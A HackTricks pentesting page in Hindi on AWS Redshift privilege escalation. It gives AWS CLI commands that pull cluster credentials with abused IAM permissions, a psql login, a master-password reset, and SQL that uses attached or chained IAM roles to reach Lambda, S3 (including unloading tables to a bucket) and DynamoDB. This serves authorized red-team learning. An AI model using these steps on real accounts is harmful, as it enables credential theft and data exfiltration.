AWS - Redshift Privesc

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Redshift

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

इन अनुमतियों के साथ आप सभी क्लस्टरों की जानकारी (जिसमें नाम और क्लस्टर उपयोगकर्ता नाम शामिल हैं) प्राप्त कर सकते हैं और इस तक पहुँचने के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं:

bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

इन अनुमतियों के साथ आप सभी क्लस्टरों की जानकारी प्राप्त कर सकते हैं और इस तक पहुँचने के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं।
ध्यान दें कि postgres उपयोगकर्ता के पास अनुमतियाँ होंगी जो IAM पहचान के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है।

bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:ModifyCluster?

यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का मास्टर पासवर्ड संशोधित करें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

बाहरी सेवाओं तक पहुँच

warning

सभी निम्नलिखित संसाधनों तक पहुँचने के लिए, आपको उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी। एक Redshift क्लस्टर AWS भूमिकाओं की एक सूची असाइन कर सकता है जिसका आप उपयोग कर सकते हैं यदि आप ARN जानते हैं या आप बस "डिफ़ॉल्ट" सेट कर सकते हैं ताकि असाइन की गई डिफ़ॉल्ट भूमिका का उपयोग किया जा सके।

इसके अलावा, जैसा कि यहाँ समझाया गया है, Redshift भूमिकाओं को जोड़ने की अनुमति भी देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस उन्हें एक अल्पविराम से अलग करके: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

लैम्ब्डास

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html में समझाया गया है, यह redshift से एक लैम्ब्डा फ़ंक्शन कॉल करना संभव है कुछ इस तरह:

sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html में समझाया गया है, S3 बकेट्स में पढ़ना और लिखना संभव है:

sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html में बताया गया है, dynamodb से डेटा प्राप्त करना संभव है:

sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

warning

Amazon DynamoDB तालिका जो डेटा प्रदान करती है, उसे आपके क्लस्टर के समान AWS क्षेत्र में बनाया जाना चाहिए, जब तक कि आप REGION विकल्प का उपयोग करके उस AWS क्षेत्र को निर्दिष्ट न करें जिसमें Amazon DynamoDB तालिका स्थित है।

EMR

चेक करें https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें